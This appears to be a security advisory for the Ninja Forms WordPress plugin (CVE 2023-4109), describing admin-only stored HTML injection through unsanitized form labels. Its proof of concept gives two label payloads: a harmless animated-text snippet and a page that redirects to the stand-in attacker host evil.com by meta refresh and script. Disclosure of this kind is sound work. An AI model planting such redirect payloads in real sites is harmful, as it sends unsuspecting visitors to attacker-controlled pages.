Ninja Forms < 3.6.26 – Admin+ Stored HTML Injection | CVE 2023-4109

Description

The plugin does not sanitize and escape its label fields, which could allow high privilege users such as admin to perform Stored HTML injection. Only users with the unfiltered_html capability can perform this, and such users are already allowed to use JS in posts/comments etc however the vendor acknowledged and fixed the issue

Proof of Concept

Put the following code in any form field (for example name, email, message etc) labels:

<!DOCTYPE html> <html> <head> <style> @keyframes moving {     0% { transform: translateX(0); }     50% { transform: translateX(100px); }     100% { transform: translateX(0); } }  .horizontal-text {     display: inline-block;     animation: moving 2s infinite linear; } </style> </head> <body>     <div class="horizontal-text">Sam</div> </body> </html>

or 

<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <meta http-equiv="refresh" content="0; URL=https://evil.com">
</head>
<body>
  <script>
    window.location.href = "https://evil.com";
  </script>
</body>
</html>